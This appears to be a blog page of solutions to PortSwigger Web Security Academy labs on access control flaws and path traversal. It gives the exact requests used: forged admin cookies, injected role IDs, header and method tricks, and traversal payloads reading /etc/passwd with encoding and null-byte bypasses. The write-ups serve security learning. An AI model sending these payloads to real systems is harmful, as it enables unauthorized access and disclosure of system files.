> For the complete documentation index, see [llms.txt](https://blog.syselement.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.syselement.com/home/cyber-everything/web/portswigger/all-labs.md).

# Vulnerability Labs

***

## [Access control vulnerabilities](https://portswigger.net/web-security/all-labs#access-control-vulnerabilities)

> 🌐 Resources 🔗
>
> * 📽️ [Broken Access Control (Long Version) - Rana Khalil](https://www.youtube.com/playlist?list=PLuyTk2_mYISId4_l9YET7Gv29cHcNguq-)
> * [WSTG-ATHZ-02 - Testing for Bypassing Authorization Schema](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)

### [Unprotected admin functionality](https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality)

> Find the admin panel and delete the user `carlos`.

```bash
GET /robots.txt

# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

User-agent: *
Disallow: /administrator-panel
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-243e13b2a2e696f585dfe5c338f5b2ee0fb5dd21%2F2024-01-27_18-50-50_386.png?alt=media)

```bash
GET /administrator-panel
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-1df2719f953055471bbe48f823566cae908029f0%2F2024-01-27_18-51-41_387.png?alt=media)

```bash
GET /administrator-panel/delete?username=carlos
# User deleted
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-ace0f0b88d58f82f35c711e4b8d1269945ea9ab3%2F2024-01-27_18-52-59_388.png?alt=media)

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-379993b84f51ce95e70a3f496e20dda1028fbdeb%2F2024-01-27_18-53-41_389.png?alt=media)

### [Unprotected admin functionality with unpredictable URL](https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url)

> Find the unpredictable admin panel and delete user `carlos`.

```bash
GET /login
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-6394037ff177c359849a7c987b1d610ff03a9314%2F2024-01-27_19-21-10_390.png?alt=media)

* Admin panel found in the code of the `/` or `/login` page response for example

```bash
<script>
var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-ge6wcp');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}
</script>
```

```bash
GET /admin-ge6wcp
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-a212f633d7fa77dfccca8375564af26cfd9352be%2F2024-01-27_19-24-40_391.png?alt=media)

```bash
GET /admin-ge6wcp/delete?username=carlos
# User deleted
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-48c1834ac764b550abde497422d1319ce29abcf9%2F2024-01-27_19-26-44_392.png?alt=media)

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-2ba5c21a0eacce9a13c5e6fce5b956ef5efa2153%2F2024-01-27_19-28-31_393.png?alt=media)

### [User role controlled by request parameter](https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter)

> Access the `/admin` panel and use it to delete user `carlos`.
>
> Admin panel use a forgeable cookie to identify administrators.
>
> User's creds: `wiener`:`peter`

```bash
POST /login
# The response sets the cookie
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-71a75d29422c7468204a03595609483a68599aec%2F2024-01-28_10-12-27_403.png?alt=media)

```bash
GET /admin
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-a87a67a8dba148bc7459ed51b58d5fcf9edefe6a%2F2024-01-28_10-02-54_399.png?alt=media)

* Send this request to the repeater and forge the cookie with `Admin=true`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-a1a70a22a8988427c1acf8577e32bd2b06865705%2F2024-01-28_10-03-55_400.png?alt=media)

* Delete user `carlos` once the admin panel login is bypassed.
* Burp Proxy interception (or browser Dev Tools) can be used too, while logging in, to set the Cookie to `Admin=true`, and to access the Admin panel from `/my-account` .

```bash
# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-933d8c87d8c757a8b4bffb8a5a2492f9332a7586%2F2024-01-28_10-06-28_401.png?alt=media)

### [User role can be modified in user profile](https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile)

> App's `/admin` panel is accessible only to users with `roleid` = 2.
>
> Access the `/admin` panel and use it to delete user `carlos`.

```bash
POST /login HTTP/2
...
username=wiener&password=peter
```

* Once logged in, update the email

```bash
POST /my-account/change-email
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-de7d921de4a8b47096b4b66526d2a17076b94ae7%2F2024-01-28_10-25-53_404.png?alt=media)

* Send this POST request to the repeater and add `"roleid:2"` into the JSON body

```bash
POST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"lab@example.com",
 "roleid": 2
}
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-a28e0f12c503fc7fc8ba277cd7ad28d3cccd231d%2F2024-01-28_10-28-36_405.png?alt=media)

* Browse to `/admin` and delete user

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-2b52a4453fe33ba92833a5bd5a221e515f9b1e74%2F2024-01-28_10-31-04_406.png?alt=media)

### [URL-based access control can be circumvented](https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented)

> External access to `/admin` panel is blocked at front-end. Back-end supports `X-Original-URL` header.
>
> Access the `/admin` panel and use it to delete user `carlos`.

```bash
GET /admin
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-9149ad196df53f515e8288bb0063058bc16d8e71%2F2024-01-28_10-45-27_407.png?alt=media)

* Send a Request to `/` with an `X-Original-URL` header pointing top a non-existing resource
  * With re response `404 Not Found` it means the app supports the special request headers

```bash
GET / HTTP/2
X-Original-Url: /invalid
...
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-88f1fdefaff15bf4560bba9c4127ddc5e4cd0e56%2F2024-01-28_10-52-35_408.png?alt=media)

* Send an allowed URL as main and the real target in the `X-Original-URL`

```bash
GET / HTTP/2
X-Original-Url: /admin
...
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-7b6e8ca353a1b20be5e95332f2019d1f846d70dd%2F2024-01-28_10-59-21_409.png?alt=media)

* Delete user using the `X-Original-Url` header

```bash
GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-a47e1c7a71def30a4c50e2e983051c3718938c2d%2F2024-01-28_11-03-49_411.png?alt=media)

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-359d1c09e9f1f861a96b44fb9f8ac3f99a45c215%2F2024-01-28_11-02-04_410.png?alt=media)

### [Method-based access control can be circumvented](https://portswigger.net/web-security/access-control/lab-method-based-access-control-can-be-circumvented)

> App's access control is based on the HTTP method of requests.
>
> Admin creds: `administrator`:`admin`.
>
> Login with `wiener`:`peter` credentials and exploit the access control to promote the user to an administrator.

* Login as `administrator`, promote `carlos` and send the request to the repeater

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-fec09fb4871a47ab37a3017df830250d53d386d2%2F2024-01-28_11-20-15_412.png?alt=media)

* Login with `wiener` in an incognito windows and get the session cookie. Input the session cookie in the existing repeater request -> `Unauthorized`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-8d1e625492a5fefa187a803aa9d46d8ed92b90eb%2F2024-01-28_11-25-20_413.png?alt=media)

* Change the method to `POSTX` -> `Missing parameter 'username'`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-f09daf8350c2ebfd481c8c3cea4a1ffc6ebc320f%2F2024-01-28_11-26-34_414.png?alt=media)

* Right click on the request and convert it to `GET` with `Change request method`
  * Set the username to `wiener` and send it
  * `GET` method is allowed

```bash
GET /admin-roles?username=wiener&action=upgrade HTTP/2
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-8ed0c01e4e4cdf5ca534c733929027bd301e4548%2F2024-01-28_11-29-04_415.png?alt=media)

* `wiener` user has access to the admin panel now

### [User ID controlled by request parameter](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter)

> Login with `wiener`:`peter` credentials and exploit the horizontal privesc vulnerability on the account page to get `carlos`'s API key.

* Login as `wiener` and send the request to the repeater
* Change the `id` to `id=carlos` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=carlos HTTP/2
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-30793324c130eda2555c5e5a0587f90b180e8369%2F2024-03-03_16-52-42_441.png?alt=media)

* Click the `Submit solution` button and paste the API key to solve the lab - `eXXoHWSpwaZpxBAXr7MbVt9GMoEuCpy9`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-64119d929c70b58718b3bacb050b9b7c2ba43eb3%2F2024-03-03_16-55-16_442.png?alt=media)

### [User ID controlled by request parameter, with unpredictable user IDs](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids)

> The app identifies users with GUIDs.
>
> Login with `wiener`:`peter` credentials and exploit the horizontal privesc vulnerability on the account page to get `carlos`'s GUID and API key.

* Find a `carlos` blog post and get its user ID. `/blogs` leaks the account's `userID`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-4cb666d4db243a0fc59e320536d6bad74bd45451%2F2024-03-03_17-01-58_443.png?alt=media)

```bash
userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c
```

* Login as `wiener`, go to the account page and send the request to the repeater
* Change the `id` to `id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-99d2160554f0ed3f9e2ded750e31fec4c7a3778b%2F2024-03-03_17-03-52_444.png?alt=media)

* Click the `Submit solution` button and paste the API key to solve the lab - `p3UtBNlmwKtAnEf0PKgBcW9sPQNJcMLq`

### [User ID controlled by request parameter with data leakage in redirect](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect)

> The app leaks sensitive information in the body of a redirect response
>
> Login with `wiener`:`peter` credentials and exploit the access control vulnerability to get `carlos`'s API key.

* Login as `wiener`, access the account page via browser and change the `id` to `id=carlos` and send the GET request to get the Carlos's API key

```bash
GET /my-account?id=carlos HTTP/2

# Response
HTTP/2 302 Found
```

* This request is redirected to the login page. Check the redirect body content in BurpSuite and find the `carlos` API key

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-9c88554f178bb4877a0af76e790d1b737c325849%2F2024-03-03_17-13-26_445.png?alt=media)

* Click the `Submit solution` button and paste the API key to solve the lab - `ah9Nwj1bvuWv5uvWPK86EBHZCnghqRHe`

### [User ID controlled by request parameter with password disclosure](https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure)

> The user account page leaks password in a masked input.
>
> Login with `wiener`:`peter` credentials, retrieve `administrator` password and delete `carlos` user.

* Login as `wiener` and access the account page
* Change the `id` to `id=administrator` and check the response containing the administrator's password

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-647c1a29c2d674128abd297bdc77645aa2d70b05%2F2024-03-03_17-36-51_446.png?alt=media)

* Login as `administrator:dta5qwrsg998j416zqh0` and delete `carlos`

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-37b9eff09796111dff96cfd982a687121699ce7d%2F2024-03-03_17-39-58_448.png?alt=media)

***

## [Path traversal](https://portswigger.net/web-security/all-labs#path-traversal)

> 🌐 Resources 🔗
>
> * 📽️ [What is Directory Traversal? - Intigriti](https://www.youtube.com/watch?v=17KYOIf5ZbU)
> * 📽️ [Directory Traversal attacks are scary easy - TCM](https://www.youtube.com/watch?v=99yJtmmtrJU)
> * 📽️ [Directory Traversal Playlist- z3nsh3ll](https://www.youtube.com/playlist?list=PLWvfB8dRFqbbO2wRawnn6u8JlfttA74wE)
> * 📽️ [Directory Traversal (Long Version) - Rana Khalil](https://www.youtube.com/playlist?list=PLuyTk2_mYISL2DdD_m1ELEjpiPKxV98MO)
> * [WSTG-ATHZ-01 - Testing Directory Traversal File Include](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)

### [Simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)

Open `BurpSuite` - Turn off the intercept - Open its internal Browser and open the lab link - Check `HTTP history` for intercepted requests - Check `Images` in the Filter settings

* Find a fetched product image Request
  * right click on it and `Send to Repeater`, or select it and press `CTRL+R`
* Change the Request

```bash
# From this
GET /image?filename=5.jpg

# To this
GET /image?filename=../../../etc/passwd
```

![/etc/passwd content](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-b4338556d0798d3c2e35659c45aa36df759099b7%2F2024-01-27_10-30-32_377.png?alt=media)

### [Traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)

The app blocks path traversal sequences but treats the filename as relative to a default working directory.

```bash
GET /image?filename=21.jpg

GET /image?filename=../../../etc/passwd # 400 Bad Request

# Try with absolute path
GET /image?filename=/etc/passwd
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-884f113dbe8d3234bd14f83b655ce53b7d91a505%2F2024-01-27_12-17-09_379.png?alt=media)

### [Traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)

The app strips path traversal sequences from the supplied filename before using it.

```bash
GET /image?filename=....//....//....//etc/passwd
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-15feea111ba34c152dd76ed4223f5bd802ebc9fa%2F2024-01-27_12-28-46_381.png?alt=media)

### [Traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)

The app blocks input containing path traversal sequences and then performs URL-decode before using it.

* With `../../../etc/passwd` it does not work
* Use BurpSuite **Decoder** to ***double URL-Encode*** the `../../../etc/passwd` string
  * `\` `/` should always be encoded

```bash
..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once

# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-289af790724f0b59fc02e3f7d688e87d771d8fd9%2F2024-01-27_13-25-59_382.png?alt=media)

### [Validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)

The application transmits the full file path and validates that it starts with the expected folder.

```bash
GET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswd
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-761c992c77d0b7748ddf8b1d39b705e909ef106f%2F2024-01-27_13-31-38_384.png?alt=media)

### [Validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)

The app validates the supplied filename end with expected file extension.

* Use a null byte character `\0` to represent the end of the string
  * `../../../etc/passwd\0.png` > `..%2f..%2f..%2fetc%2fpasswd%00.png`
  * the O.S. requests retrieval of the string, it assumes the string is terminated after `passwd`

```bash
GET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-50f13cb198e31a23ab4469a939602adb73120647%2F2024-01-27_13-37-10_385.png?alt=media)

***
